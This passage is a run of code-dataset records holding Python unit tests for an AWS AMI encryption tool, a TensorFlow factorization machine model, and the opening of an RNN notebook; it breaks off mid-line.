test_encryption_error_console_output_not_available(self):\n \"\"\" Test that we handle the case when encryption fails and console\n output is not available.\n \"\"\"\n aws_svc, encryptor_image, guest_image = build_aws_service()\n values = DummyValues(encryptor_image.id, guest_image.id)\n\n aws_svc.console_output_text = None\n try:\n encrypt_ami.encrypt(\n aws_svc=aws_svc,\n enc_svc_cls=FailedEncryptionService,\n values=values)\n self.fail('Encryption should have failed')\n except encryptor_service.EncryptionError as e:\n self.assertIsNone(e.console_output_file)\n\n def test_console_output_when_encryptor_cant_be_reached(self):\n \"\"\" Test that we save the console log when we can't reach\n the encryption service.\n \"\"\"\n aws_svc, encryptor_image, guest_image = build_aws_service()\n values = DummyValues(encryptor_image.id, guest_image.id)\n\n try:\n encrypt_ami.encrypt(\n aws_svc=aws_svc,\n enc_svc_cls=CantContactEncryptionService,\n values=values,\n encryption_start_timeout=0)\n self.fail('Encryption should have failed')\n except encryptor_service.EncryptionError as e:\n self.assertIsNotNone(e.console_output_file)\n\n def test_delete_orphaned_volumes(self):\n \"\"\" Test that we clean up instance volumes that are orphaned by AWS.\n \"\"\"\n aws_svc, encryptor_image, guest_image = build_aws_service()\n values = DummyValues(encryptor_image.id, guest_image.id)\n\n # Simulate a tagged orphaned volume.\n volume = Volume()\n volume.id = test_aws_service.new_id()\n aws_svc.volumes[volume.id] = volume\n aws_svc.tagged_volumes.append(volume)\n\n # Verify that lookup succeeds before encrypt().\n self.assertEqual(volume, aws_svc.get_volume(volume.id))\n self.assertEqual(\n [volume],\n aws_svc.get_volumes(\n tag_key=TAG_ENCRYPTOR_SESSION_ID, tag_value='123')\n )\n\n encrypt_ami.encrypt(\n aws_svc=aws_svc,\n enc_svc_cls=DummyEncryptorService,\n values=values)\n\n # Verify that the volume was deleted.\n self.assertIsNone(aws_svc.volumes.get(volume.id, None))\n\n def test_encrypted_ami_name(self):\n \"\"\" Test that the name is set on the encrypted AMI when specified.\n \"\"\"\n test_name = 'Am I an AMI?'\n\n aws_svc, encryptor_image, guest_image = build_aws_service()\n values = DummyValues(encryptor_image.id, guest_image.id)\n values.encrypted_ami_name = test_name\n\n image_id = encrypt_ami.encrypt(\n aws_svc=aws_svc,\n enc_svc_cls=DummyEncryptorService,\n values=values)\n ami = aws_svc.get_image(image_id)\n self.assertEqual(ami.name, test_name)\n\n def test_subnet_with_security_groups(self):\n \"\"\" Test that the subnet and security groups are passed to the\n calls to AWSService.run_instance().\n \"\"\"\n test_subnet = 'subnet-1'\n test_secgrps = ['sg-1', 'sg-2']\n\n aws_svc, encryptor_image, guest_image = build_aws_service()\n values = DummyValues(encryptor_image.id, guest_image.id)\n values.subnet_id = test_subnet\n values.security_group_ids = test_secgrps\n\n self.call_count = 0\n\n def run_instance_callback(args):\n self.call_count += 1\n self.assertEqual(args.subnet_id, test_subnet)\n if self.call_count == 1:\n # Snapshotter.\n self.assertIsNone(args.security_group_ids)\n elif self.call_count == 2:\n # Encryptor.\n self.assertEqual(args.security_group_ids, test_secgrps)\n else:\n self.fail('Unexpected number of calls to run_instance()')\n\n aws_svc.run_instance_callback = run_instance_callback\n\n encrypt_ami.encrypt(\n aws_svc=aws_svc,\n enc_svc_cls=DummyEncryptorService,\n values=values)\n\n def test_subnet_without_security_groups(self):\n \"\"\" Test that we create the temporary security group in the subnet\n that the user specified.\n \"\"\"\n test_subnet = 'subnet-2'\n test_vpc = 'vpc-1'\n\n aws_svc, encryptor_image, guest_image = build_aws_service()\n values = DummyValues(encryptor_image.id, guest_image.id)\n values.subnet_id = test_subnet\n\n self.security_group_was_created = False\n\n def create_security_group_callback(vpc_id):\n self.security_group_was_created = True\n self.assertEqual(vpc_id, test_vpc)\n\n aws_svc.create_security_group_callback = create_security_group_callback\n\n subnet = Subnet()\n subnet.id = test_subnet\n subnet.vpc_id = test_vpc\n aws_svc.subnets = {subnet.id: subnet}\n\n encrypt_ami.encrypt(\n aws_svc=aws_svc,\n enc_svc_cls=DummyEncryptorService,\n values=values)\n self.assertTrue(self.security_group_was_created)\n\n def test_instance_type(self):\n \"\"\" Test that we launch the guest and the encryptor with the default\n instance type. The DummyValues define both as None.\n \"\"\"\n aws_svc, encryptor_image, guest_image = build_aws_service()\n values = DummyValues(encryptor_image.id, guest_image.id)\n\n def run_instance_callback(args):\n if args.image_id == guest_image.id:\n self.assertEqual(args.instance_type, None)\n self.assertFalse(args.ebs_optimized)\n elif args.image_id == encryptor_image.id:\n self.assertEqual(args.instance_type, None)\n self.assertTrue(args.ebs_optimized)\n else:\n self.fail('Unexpected image id: ' + args.image_id)\n\n aws_svc.run_instance_callback = run_instance_callback\n encrypt_ami.encrypt(\n aws_svc=aws_svc,\n enc_svc_cls=DummyEncryptorService,\n values=values)\n\n def test_guest_instance_type(self):\n \"\"\" Test that we use the specified instance type to launch the guest\n instance.\n \"\"\"\n test_insttype = 't2.micro'\n\n aws_svc, encryptor_image, guest_image = build_aws_service()\n values = DummyValues(encryptor_image.id, guest_image.id)\n values.guest_instance_type = test_insttype\n\n def run_instance_callback(args):\n if args.image_id == guest_image.id:\n self.assertEqual(args.instance_type, test_insttype)\n\n aws_svc.run_instance_callback = run_instance_callback\n encrypt_ami.encrypt(\n aws_svc=aws_svc,\n enc_svc_cls=DummyEncryptorService,\n values=values)\n\n def test_encryptor_instance_type(self):\n \"\"\" Test that we use the specified instance type to launch the\n encryptor instance.\n \"\"\"\n test_insttype = 'c3.xlarge'\n\n aws_svc, encryptor_image, guest_image = build_aws_service()\n values = DummyValues(encryptor_image.id, guest_image.id)\n values.encryptor_instance_type = test_insttype\n\n def run_instance_callback(args):\n if args.image_id == encryptor_image.id:\n self.assertEqual(args.instance_type, test_insttype)\n\n aws_svc.run_instance_callback = run_instance_callback\n encrypt_ami.encrypt(\n aws_svc=aws_svc,\n enc_svc_cls=DummyEncryptorService,\n values=values)\n\n def test_terminate_guest(self):\n \"\"\" Test that we terminate the guest instance if an exception is\n raised while waiting for it to come up.\n \"\"\"\n aws_svc, encryptor_image, guest_image = build_aws_service()\n values = DummyValues(encryptor_image.id, guest_image.id)\n\n self.terminate_instance_called = False\n self.instance_id = None\n\n def get_instance_callback(instance):\n self.instance_id = instance.id\n raise TestException('Test')\n\n def terminate_instance_callback(instance):\n self.terminate_instance_called = True\n self.assertEqual(self.instance_id, instance.id)\n\n aws_svc.get_instance_callback = get_instance_callback\n aws_svc.terminate_instance_callback = terminate_instance_callback\n\n try:\n encrypt_ami.encrypt(\n aws_svc=aws_svc,\n enc_svc_cls=DummyEncryptorService,\n values=values)\n except TestException:\n pass\n\n self.assertTrue(self.terminate_instance_called)\n\n def test_clean_up_root_snapshot(self):\n \"\"\" Test that we clean up the root snapshot if an exception is\n raised while waiting for it to complete.\n \"\"\"\n aws_svc, encryptor_image, guest_image = build_aws_service()\n\n guest_instance = aws_svc.run_instance(guest_image.id)\n self.snapshot = None\n self.snapshot_was_deleted = False\n\n def get_snapshot_callback(snapshot):\n \"\"\" Simulate an exception being raised while waiting for the\n snapshot to complete.\n \"\"\"\n raise TestException()\n\n def create_snapshot_callback(volume_id, snapshot):\n self.snapshot = snapshot\n\n def delete_snapshot_callback(snapshot_id):\n self.assertEqual(self.snapshot.id, snapshot_id)\n self.snapshot_was_deleted = True\n\n aws_svc.get_snapshot_callback = get_snapshot_callback\n aws_svc.create_snapshot_callback = create_snapshot_callback\n aws_svc.delete_snapshot_callback = delete_snapshot_callback\n\n with self.assertRaises(TestException):\n aws_service.snapshot_root_volume(\n aws_svc, guest_instance, guest_image.id)\n self.assertTrue(self.snapshot_was_deleted)\n\n def test_no_terminate_encryptor_on_failure(self):\n \"\"\" Test that when terminate_encryptor_on_failure=False, we terminate\n the encryptor only when encryption succeeds.\n \"\"\"\n aws_svc, encryptor_image, guest_image = build_aws_service()\n values = DummyValues(encryptor_image.id, guest_image.id)\n values.terminate_encryptor_on_failure = False\n\n self.guest_instance_id = None\n self.guest_terminated = False\n self.encryptor_instance_id = None\n self.encryptor_terminated = False\n self.security_group_deleted = False\n self.snapshot_deleted = False\n\n def run_instance_callback(args):\n if args.image_id == encryptor_image.id:\n self.encryptor_instance_id = args.instance.id\n if args.image_id == guest_image.id:\n self.guest_instance_id = args.instance.id\n\n def delete_snapshot_callback(snapshot_id):\n self.snapshot_deleted = True\n\n def terminate_instance_callback(instance_id):\n self.assertIsNotNone(self.encryptor_instance_id)\n if instance_id == self.encryptor_instance_id:\n self.encryptor_terminated = True\n if instance_id == self.guest_instance_id:\n self.guest_terminated = True\n\n def delete_security_group_callback(sg_id):\n self.security_group_deleted = True\n\n # Encryption succeeded. Make sure the encryptor was terminated.\n aws_svc.run_instance_callback = run_instance_callback\n aws_svc.delete_snapshot_callback = delete_snapshot_callback\n aws_svc.terminate_instance_callback = terminate_instance_callback\n aws_svc.delete_security_group_callback = \\\n delete_security_group_callback\n\n encrypt_ami.encrypt(\n aws_svc=aws_svc,\n enc_svc_cls=DummyEncryptorService,\n values=values)\n\n self.assertIsNotNone(self.encryptor_instance_id)\n self.assertTrue(self.snapshot_deleted)\n self.assertTrue(self.guest_terminated)\n self.assertTrue(self.encryptor_terminated)\n self.assertTrue(self.security_group_deleted)\n\n # Encryption failed. Make sure the encryptor was not terminated.\n self.guest_instance_id = None\n self.guest_terminated = False\n self.encryptor_instance_id = None\n self.encryptor_terminated = False\n self.security_group_deleted = False\n self.snapshot_deleted = False\n\n with self.assertRaises(encryptor_service.EncryptionError):\n encrypt_ami.encrypt(\n aws_svc=aws_svc,\n enc_svc_cls=FailedEncryptionService,\n values=values)\n self.assertIsNotNone(self.encryptor_instance_id)\n self.assertTrue(self.snapshot_deleted)\n self.assertTrue(self.guest_terminated)\n self.assertFalse(self.encryptor_terminated)\n self.assertFalse(self.security_group_deleted)\n\n\n_test_brkt_env = brkt_cli.BracketEnvironment(\n api_host='api.example.com',\n api_port=777,\n hsmproxy_host='hsmproxy.example.com',\n hsmproxy_port=888,\n network_host='network.example.com',\n network_port=999\n)\n\n\nclass TestBrktEnv(unittest.TestCase):\n\n def setUp(self):\n brkt_cli.util.SLEEP_ENABLED = False\n\n def _get_brkt_config_from_mime(self, mime_data):\n \"\"\"Look for a 'brkt-config' part in the multi-part MIME input\"\"\"\n msg = email.message_from_string(mime_data)\n for part in msg.walk():\n if part.get_content_type() == BRKT_CONFIG_CONTENT_TYPE:\n return part.get_payload(decode=True)\n self.assertTrue(False, 'Did not find brkt-config part in userdata')\n\n def test_brkt_env_encrypt(self):\n \"\"\" Test that we parse the brkt_env value and pass the correct\n values to user_data when launching the encryptor instance.\n \"\"\"\n test_crypto = CRYPTO_GCM\n\n aws_svc, encryptor_image, guest_image = build_aws_service()\n values = DummyValues(encryptor_image.id, guest_image.id)\n values.crypto = test_crypto\n\n def run_instance_callback(args):\n if args.image_id != encryptor_image.id:\n return\n brkt_config = self._get_brkt_config_from_mime(args.user_data)\n d = json.loads(brkt_config)\n api_host = '%s:%s' % (_test_brkt_env.api_host,\n _test_brkt_env.api_port)\n self.assertEquals(d['brkt']['api_host'], api_host)\n hsmproxy_host = '%s:%s' % (_test_brkt_env.hsmproxy_host,\n _test_brkt_env.hsmproxy_port)\n self.assertEquals(d['brkt']['hsmproxy_host'], hsmproxy_host)\n network_host = '%s:%s' % (_test_brkt_env.network_host,\n _test_brkt_env.network_port)\n self.assertEquals(d['brkt']['network_host'], network_host)\n self.assertEquals(d['brkt']['crypto_policy_type'], test_crypto)\n\n ic = instance_config_from_values(values, brkt_env=_test_brkt_env)\n aws_svc.run_instance_callback = run_instance_callback\n encrypt_ami.encrypt(\n aws_svc=aws_svc,\n enc_svc_cls=DummyEncryptorService,\n values=values,\n instance_config=ic)\n\n def test_brkt_env_update(self):\n \"\"\" Test that the Bracket environment is passed through to metavisor\n user data.\n \"\"\"\n aws_svc, encryptor_image, guest_image = build_aws_service()\n values = DummyValues(encryptor_image.id, guest_image.id)\n\n encrypted_ami_id = encrypt_ami.encrypt(\n aws_svc=aws_svc,\n enc_svc_cls=DummyEncryptorService,\n values=values)\n\n values = DummyValues(encryptor_image.id, encrypted_ami_id)\n ic = instance_config_from_values(values, mode=INSTANCE_UPDATER_MODE,\n brkt_env=_test_brkt_env)\n\n def run_instance_callback(args):\n if args.image_id != encryptor_image.id:\n return\n brkt_config = self._get_brkt_config_from_mime(args.user_data)\n d = json.loads(brkt_config)\n api_host = '%s:%s' % (_test_brkt_env.api_host,\n _test_brkt_env.api_port)\n self.assertEquals(d['brkt']['api_host'], api_host)\n hsmproxy_host = '%s:%s' % (_test_brkt_env.hsmproxy_host,\n _test_brkt_env.hsmproxy_port)\n self.assertEquals(d['brkt']['hsmproxy_host'], hsmproxy_host)\n network_host = '%s:%s' % (_test_brkt_env.network_host,\n _test_brkt_env.network_port)\n self.assertEquals(d['brkt']['network_host'], network_host)\n self.assertEquals(d['brkt']['solo_mode'], INSTANCE_UPDATER_MODE)\n\n aws_svc.run_instance_callback = run_instance_callback\n update_ami(aws_svc, DummyEncryptorService, values, instance_config=ic)\n\n def test_security_group_eventual_consistency(self):\n \"\"\" Test that we handle eventually consistency issues when creating\n a temporary security group.\n \"\"\"\n aws_svc, encryptor_image, guest_image = build_aws_service()\n values = DummyValues(encryptor_image.id, guest_image.id)\n\n self.call_count = 0\n\n def run_instance_callback(args):\n if args.image_id == encryptor_image.id:\n self.call_count += 1\n if self.call_count < 3:\n # Simulate eventual consistency error while creating\n # security group.\n raise test_aws_service.new_client_error(\n 'InvalidGroup.NotFound')\n\n aws_svc.run_instance_callback = run_instance_callback\n\n encrypt_ami.encrypt(\n aws_svc=aws_svc,\n enc_svc_cls=DummyEncryptorService,\n values=values)\n\n self.assertEquals(3, self.call_count)\n\n def test_clean_up_encryptor_instance(self):\n \"\"\" Test that we clean up the encryptor instance if an exception is\n raised inside _run_encryptor_instance().\n \"\"\"\n aws_svc, encryptor_image, guest_image = build_aws_service()\n values = DummyValues(encryptor_image.id, guest_image.id)\n\n self.encryptor_instance_id = None\n self.encryptor_terminated = False\n\n def run_instance_callback(args):\n if args.image_id == encryptor_image.id:\n self.encryptor_instance_id = args.instance.id\n\n def create_tags_callback(resource_id, name, description):\n # Encryptor volumes are tagged after the instance is started.\n if self.encryptor_instance_id and resource_id.startswith('vol-'):\n raise TestException()\n\n def terminate_instance_callback(instance_id):\n if instance_id == self.encryptor_instance_id:\n self.encryptor_terminated = True\n\n aws_svc.run_instance_callback = run_instance_callback\n aws_svc.terminate_instance_callback = terminate_instance_callback\n aws_svc.create_tags_callback = create_tags_callback\n\n with self.assertRaises(TestException):\n encrypt_ami.encrypt(\n aws_svc=aws_svc,\n enc_svc_cls=DummyEncryptorService,\n values=values)\n\n self.assertTrue(self.encryptor_terminated)\n\n def test_ena_support(self):\n \"\"\" Test that we enable ENA support on the guest instance when ENA\n support is enabled on the Metavisor instance.\n \"\"\"\n aws_svc, encryptor_image, guest_image = build_aws_service()\n values = DummyValues(encryptor_image.id, guest_image.id)\n\n self.guest_instance = None\n\n def run_instance_callback(args):\n if args.image_id == encryptor_image.id:\n args.instance.ena_support = True\n elif args.image_id == guest_image.id:\n args.instance.ena_support = False\n self.guest_instance = args.instance\n\n aws_svc.run_instance_callback = run_instance_callback\n\n encrypt_ami.encrypt(\n aws_svc=aws_svc,\n enc_svc_cls=DummyEncryptorService,\n values=values)\n\n self.assertTrue(self.guest_instance.ena_support)\n","sub_path":"brkt_cli/aws/test_encrypt_ami.py","file_name":"test_encrypt_ami.py","file_ext":"py","file_size_in_byte":25553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"594642335","text":"from __future__ import print_function\nimport time\nimport glob\nimport ConfigParser\nimport tensorflow as tf\nfrom tffm.fm_ops import fm_parser, fm_scorer\n\n\nclass Model(object):\n vocabulary_size = 8000000\n vocabulary_block_num = 100\n factor_num = 10\n hash_feature_id = False\n log_dir = None\n batch_size = 50000\n init_value_range = 0.01\n factor_lambda = 0\n bias_lambda = 0\n learning_rate = 0.01\n adagrad_initial_accumulator = 0.1\n num_epochs = 10\n loss_type = 'mse'\n save_steps = 100\n save_summaries_steps = 100\n queue_size = 10000\n shuffle_threads = 1\n train_files = []\n weight_files = []\n predict_files = []\n validation_data_files = []\n validation_weight_files = []\n validation_data = None\n\n def _shuffle_input(self,\n thread_idx,\n train_file_queue,\n weight_file_queue,\n ex_q):\n with tf.name_scope(\"shuffled_%s\" % (thread_idx,)):\n train_reader = tf.TextLineReader()\n _, data_lines = train_reader.read_up_to(\n train_file_queue, self.batch_size\n )\n\n min_after_dequeue = 3 * self.batch_size\n capacity = int(min_after_dequeue + self.batch_size * 1.5)\n\n if weight_file_queue is not None:\n weight_reader = tf.TextLineReader()\n _, weight_lines = weight_reader.read_up_to(\n weight_file_queue, self.batch_size\n )\n\n data_lines_batch, weight_lines_batch = tf.train.shuffle_batch(\n [data_lines, weight_lines], self.batch_size, capacity,\n min_after_dequeue, enqueue_many=True,\n allow_smaller_final_batch=True\n )\n\n weights = tf.string_to_number(weight_lines_batch, tf.float32)\n else:\n data_lines_batch = tf.train.shuffle_batch(\n [data_lines], self.batch_size, capacity,\n min_after_dequeue, enqueue_many=True,\n allow_smaller_final_batch=True\n )\n weights = tf.ones(tf.shape(data_lines_batch), tf.float32)\n\n labels, sizes, feature_ids, feature_vals = fm_parser(\n data_lines_batch, self.vocabulary_size\n )\n ori_ids, feature_ids = tf.unique(feature_ids)\n feature_poses = tf.concat([[0], tf.cumsum(sizes)], 0)\n\n enq = ex_q.enqueue([\n labels, weights, feature_ids, ori_ids,\n feature_vals, feature_poses\n ])\n return enq\n\n def _input_pipeline(self):\n seed = time.time()\n\n train_file_queue = tf.train.string_input_producer(\n self.train_files,\n num_epochs=self.num_epochs,\n shared_name=\"train_file_queue\",\n shuffle=True,\n seed=seed\n )\n\n if len(self.weight_files) == 0:\n weight_file_queue = None\n else:\n weight_file_queue = tf.train.string_input_producer(\n self.weight_files,\n num_epochs=self.num_epochs,\n shared_name=\"weight_file_queue\",\n shuffle=True,\n seed=seed\n )\n\n example_queue = tf.FIFOQueue(\n self.queue_size,\n [tf.float32, tf.float32, tf.int32, tf.int64, tf.float32, tf.int32]\n )\n enqueue_ops = [\n self._shuffle_input(\n i, train_file_queue, weight_file_queue, example_queue\n )\n for i in range(self.shuffle_threads)\n ]\n tf.train.add_queue_runner(\n tf.train.QueueRunner(example_queue, enqueue_ops)\n )\n\n (\n labels, weights, feature_ids, ori_ids, feature_vals, feature_poses\n ) = example_queue.dequeue()\n\n exq_size = example_queue.size()\n\n return (\n exq_size, labels, weights, feature_ids, ori_ids,\n feature_vals, feature_poses\n )\n\n def predict(self, data_lines):\n labels, sizes, feature_ids, feature_vals = fm_parser(\n data_lines, self.vocabulary_size\n )\n\n ori_ids, feature_ids = tf.unique(feature_ids)\n feature_poses = tf.concat([[0], tf.cumsum(sizes)], 0)\n local_params = tf.nn.embedding_lookup(self.vocab_blocks, ori_ids)\n\n pred_score, reg_score = fm_scorer(\n feature_ids, local_params, feature_vals, feature_poses,\n self.factor_lambda, self.bias_lambda\n )\n\n return pred_score\n\n def pred_ops(self):\n ops = []\n for data_file in self.predict_files:\n with open(data_file) as f:\n data_lines = f.readlines()\n data_lines = [l.strip('\\n') for l in data_lines]\n ops.append(self.predict(data_lines))\n\n return ops\n\n def load_validation_data(self):\n if len(self.validation_data_files) == 0:\n return\n print('Preloading validation data...')\n data_lines = []\n for data_file in self.validation_data_files:\n with open(data_file) as f:\n data_lines.extend(f.readlines())\n data_lines = [l.strip('\\n') for l in data_lines]\n\n weight_lines = []\n for weight_file in self.validation_weight_files:\n with open(weight_file) as f:\n weight_lines.extend(f.readlines())\n weight_lines = [l.strip('\\n') for l in weight_lines]\n\n labels, sizes, feature_ids, feature_vals = fm_parser(\n tf.constant(data_lines, dtype=tf.string), self.vocabulary_size\n )\n ori_ids, feature_ids = tf.unique(feature_ids)\n feature_poses = tf.concat([[0], tf.cumsum(sizes)], 0)\n\n if len(weight_lines) == 0:\n weights = tf.ones(tf.shape(labels), tf.float32)\n else:\n weights = tf.string_to_number(\n tf.constant(\n weight_lines,\n dtype=tf.string),\n tf.float32)\n\n self.validation_data = dict(zip(\n [\n 'labels', 'weights', 'feature_ids',\n 'ori_ids', 'feature_vals', 'feature_poses'\n ],\n [\n labels, weights, feature_ids,\n ori_ids, feature_vals, feature_poses\n ]))\n\n def serving_parser(self, data_lines):\n # Flatten\n # Now data has the form ['1:1 2:2', '3:3']\n data_lines = tf.reshape(data_lines, [-1])\n # Remove spaces\n # Now data has the form ['1:1', '2:2', '3:3']\n sparse_data = tf.string_split(data_lines, ' ')\n # Remove columns\n # Now data has the form [['1', '1'], ['2', '2'], ['3', '3']]\n data = tf.reshape(tf.string_split(\n sparse_data.values, ':').values, [-1, 2])\n feature_ids = tf.string_to_number(tf.reshape(\n tf.slice(data, [0, 0], [-1, 1]), [-1]), tf.int64)\n feature_vals = tf.string_to_number(tf.reshape(\n tf.slice(data, [0, 1], [-1, 1]), [-1]), tf.float32)\n # Convert to dense matrices with padding 0\n feature_ids = tf.sparse_to_dense(\n sparse_data.indices,\n sparse_data.dense_shape,\n feature_ids)\n feature_vals = tf.sparse_to_dense(\n sparse_data.indices,\n sparse_data.dense_shape,\n feature_vals)\n\n return feature_ids, feature_vals, sparse_data.dense_shape\n\n def serving_scorer(self, feature_ids, feature_vals, dense_shape):\n self.vocab_blocks = []\n vocab_size_per_block = (\n self.vocabulary_size / self.vocabulary_block_num + 1\n )\n\n for i in range(self.vocabulary_block_num):\n self.vocab_blocks.append(\n tf.Variable(\n tf.zeros([vocab_size_per_block, self.factor_num + 1]),\n name='vocab_block_%d' % i\n )\n )\n\n params = tf.nn.embedding_lookup(\n self.vocab_blocks, tf.reshape(feature_ids, [-1]))\n\n shape = tf.concat(\n [tf.cast(dense_shape, tf.int32), tf.constant([-1])], 0)\n factors = tf.reshape(tf.slice(params, [0, 1], [-1, -1]), shape)\n biases = tf.reshape(\n tf.slice(params, [0, 0], [-1, 1]), tf.cast(dense_shape, tf.int32))\n fvals = tf.reshape(feature_vals, tf.concat(\n [tf.cast(dense_shape, tf.int32), tf.constant([1])], 0))\n factor_sum = tf.reduce_sum(factors * fvals, 1)\n self.pred_score_serving = \\\n 0.5 * tf.reduce_sum(factor_sum * factor_sum, [1]) \\\n - 0.5 * tf.reduce_sum(fvals * fvals * factors * factors, [1, 2]) \\\n + tf.reduce_sum(biases * feature_vals, [1])\n\n self.saver = tf.train.Saver()\n\n def build_serving_graph(self):\n self.data_lines_serving = tf.placeholder(tf.string, name='test_data')\n (\n feature_ids_serving,\n feature_vals_serving,\n data_dense_shape\n ) = self.serving_parser(self.data_lines_serving)\n\n self.serving_scorer(\n feature_ids_serving,\n feature_vals_serving,\n data_dense_shape)\n\n def build_graph(self, monitor, trace):\n self.load_validation_data()\n self.vocab_blocks = []\n vocab_size_per_block = (\n self.vocabulary_size / self.vocabulary_block_num + 1\n )\n init_value_range = self.init_value_range\n\n for i in range(self.vocabulary_block_num):\n self.vocab_blocks.append(\n tf.Variable(\n tf.random_uniform(\n [vocab_size_per_block, self.factor_num + 1],\n -init_value_range, init_value_range\n ),\n name='vocab_block_%d' % i\n )\n )\n\n (\n exq_size, labels, weights, feature_ids, ori_ids,\n feature_vals, feature_poses\n ) = self._input_pipeline()\n\n local_params = tf.nn.embedding_lookup(self.vocab_blocks, ori_ids)\n\n pred_score, reg_score = fm_scorer(\n feature_ids, local_params, feature_vals, feature_poses,\n self.factor_lambda, self.bias_lambda\n )\n\n self.pred_ops = self.pred_ops()\n\n if self.validation_data is not None:\n local_params = tf.nn.embedding_lookup(\n self.vocab_blocks, self.validation_data['ori_ids'])\n v_pred_score, _ = fm_scorer(\n self.validation_data['feature_ids'],\n local_params,\n self.validation_data['feature_vals'],\n self.validation_data['feature_poses'],\n self.factor_lambda, self.bias_lambda\n )\n\n if self.loss_type == 'logistic':\n loss = tf.reduce_mean(\n weights * tf.nn.sigmoid_cross_entropy_with_logits(\n logits=pred_score, labels=labels\n )\n )\n if not len(self.validation_data_files) == 0:\n self.valid_op = tf.reduce_mean(\n self.validation_data['weights'] *\n tf.nn.sigmoid_cross_entropy_with_logits(\n logits=v_pred_score,\n labels=self.validation_data['labels']))\n\n elif self.loss_type == 'mse':\n loss = tf.reduce_mean(\n weights * tf.square(pred_score - labels))\n\n if not len(self.validation_data_files) == 0:\n self.valid_op = tf.reduce_mean(\n self.validation_data['weights'] * tf.square(\n v_pred_score - self.validation_data['labels']\n )\n )\n else:\n # should never be here\n assert False\n\n tf.summary.scalar('loss', loss)\n tf.summary.scalar('exq_size', exq_size)\n global_step = tf.contrib.framework.get_or_create_global_step()\n optimizer = tf.train.AdagradOptimizer(\n self.learning_rate,\n self.adagrad_init_accumulator\n )\n train_op = optimizer.minimize(\n loss + reg_score / self.batch_size,\n global_step=global_step\n )\n\n self.ops = {\n 'train_op': train_op,\n 'loss': loss,\n 'step_num': global_step\n }\n\n if monitor:\n shuffleq_sizes = [\n \"shuffled_%s/shuffle_batch/\"\n \"random_shuffle_queue_Size:0\" %\n i for i in range(\n self.shuffle_threads)]\n self.ops['exq_size'] = exq_size\n self.ops['shuffleq_sizes'] = shuffleq_sizes\n\n self.saver = tf.train.Saver()\n\n def _get_config(self, config_file):\n GENERAL_SECTION = 'General'\n TRAIN_SECTION = 'Train'\n PREDICT_SECTION = 'Predict'\n STR_DELIMITER = ','\n\n config = ConfigParser.ConfigParser()\n config.read(config_file)\n\n def read_config(section, option, not_null=True):\n if not config.has_option(section, option):\n if not_null:\n raise ValueError(\"%s is undefined.\" % option)\n else:\n return None\n else:\n value = config.get(section, option)\n print(' {0} = {1}'.format(option, value))\n return value\n\n def read_strs_config(section, option, not_null=True):\n val = read_config(section, option, not_null)\n if val is not None:\n return [s.strip() for s in val.split(STR_DELIMITER)]\n return None\n\n print('Config: ')\n self.vocabulary_size = int(read_config(\n GENERAL_SECTION, 'vocabulary_size'))\n self.vocabulary_block_num = int(read_config(\n GENERAL_SECTION, 'vocabulary_block_num'))\n self.factor_num = int(read_config(\n GENERAL_SECTION, 'factor_num'))\n self.hash_feature_id = read_config(\n GENERAL_SECTION, 'hash_feature_id').strip().lower() == 'true'\n self.log_dir = read_config(\n GENERAL_SECTION, 'log_dir', not_null=False\n )\n self.model_file = read_config(\n GENERAL_SECTION, 'model_file', not_null=False\n )\n if config.has_option(GENERAL_SECTION, 'save_summaries_steps'):\n self.save_summaries_steps = int(read_config(\n GENERAL_SECTION, 'save_summaries_steps'))\n\n self.batch_size = int(read_config(TRAIN_SECTION, 'batch_size'))\n self.init_value_range = float(\n read_config(TRAIN_SECTION, 'init_value_range'))\n self.factor_lambda = float(\n read_config(TRAIN_SECTION, 'factor_lambda'))\n self.bias_lambda = float(read_config(TRAIN_SECTION, 'bias_lambda'))\n self.num_epochs = int(read_config(TRAIN_SECTION, 'epoch_num'))\n self.learning_rate = float(\n read_config(TRAIN_SECTION, 'learning_rate'))\n self.adagrad_init_accumulator = float(\n read_config(TRAIN_SECTION, 'adagrad.initial_accumulator'))\n self.loss_type = read_config(\n TRAIN_SECTION, 'loss_type').strip().lower()\n self.save_steps = int(\n read_config(\n TRAIN_SECTION,\n 'save_steps',\n not_null=False))\n\n if config.has_option(TRAIN_SECTION, 'queue_size'):\n self.queue_size = int(read_config(TRAIN_SECTION, 'queue_size'))\n\n if config.has_option(TRAIN_SECTION, 'shuffle_threads'):\n self.shuffle_threads = int(\n read_config(TRAIN_SECTION, 'shuffle_threads')\n )\n\n train_files = read_strs_config(TRAIN_SECTION, 'train_files')\n self.train_files = sorted(sum((glob.glob(f) for f in train_files), []))\n weight_files = read_strs_config(TRAIN_SECTION, 'weight_files', False)\n if weight_files is not None:\n if not isinstance(weight_files, list):\n weight_files = [weight_files]\n self.weight_files = sorted(\n sum((glob.glob(f) for f in weight_files), []))\n if len(train_files) != len(weight_files):\n raise ValueError(\n 'The numbers of train files'\n 'and weight files do not match.')\n\n validation_data_files = read_strs_config(\n TRAIN_SECTION, 'validation_files', False)\n if validation_data_files is not None:\n if not isinstance(validation_data_files, list):\n validation_data_files = [validation_data_files]\n self.validation_data_files = sorted(\n sum((glob.glob(f) for f in validation_data_files), []))\n self.tolerance = float(read_config(TRAIN_SECTION, 'tolerance'))\n validation_weight_files = read_strs_config(\n TRAIN_SECTION, 'validation_weight_files', False)\n if validation_weight_files is not None:\n if not isinstance(validation_weight_files, list):\n validation_weight_files = [validation_weight_files]\n self.validation_weight_files = sorted(\n sum((glob.glob(f) for f in validation_weight_files), []))\n if len(validation_data_files) != len(validation_weight_files):\n raise ValueError(\n 'The numbers of validation data files'\n 'and validation weight files do not match.')\n\n predict_files = read_strs_config(\n PREDICT_SECTION, 'predict_files', False)\n self.predict_files = sorted(\n sum((glob.glob(f) for f in predict_files), []))\n\n def __init__(self, config_file):\n self._get_config(config_file)\n","sub_path":"tffm/fm_model.py","file_name":"fm_model.py","file_ext":"py","file_size_in_byte":17676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"116874266","text":"\n# coding: utf-8\n\n# In[1]:\n\nimport numpy as np\nimport tensorflow as tf\nget_ipython().magic('matplotlib inline')\nimport matplotlib.pyplot as plt\n\n\n# In[2]:\n\nimport os\nos.environ[\"CUDA_DEVICE_ORDER\"]=\"PCI_BUS_ID\" # see issue #152\nos.environ[\"CUDA_VISIBLE_DEVICES\"]=\"2\"\n\n\n# In[3]:\n\n# Global config variables\nnum_steps = 5 # number of truncated backprop steps ('n' in the discussion above)\nbatch_size = 200\nnum_classes = 2\nstate_size = 4\nlearning_rate = 0.1\n\n\n# In[4]:\n\ndef 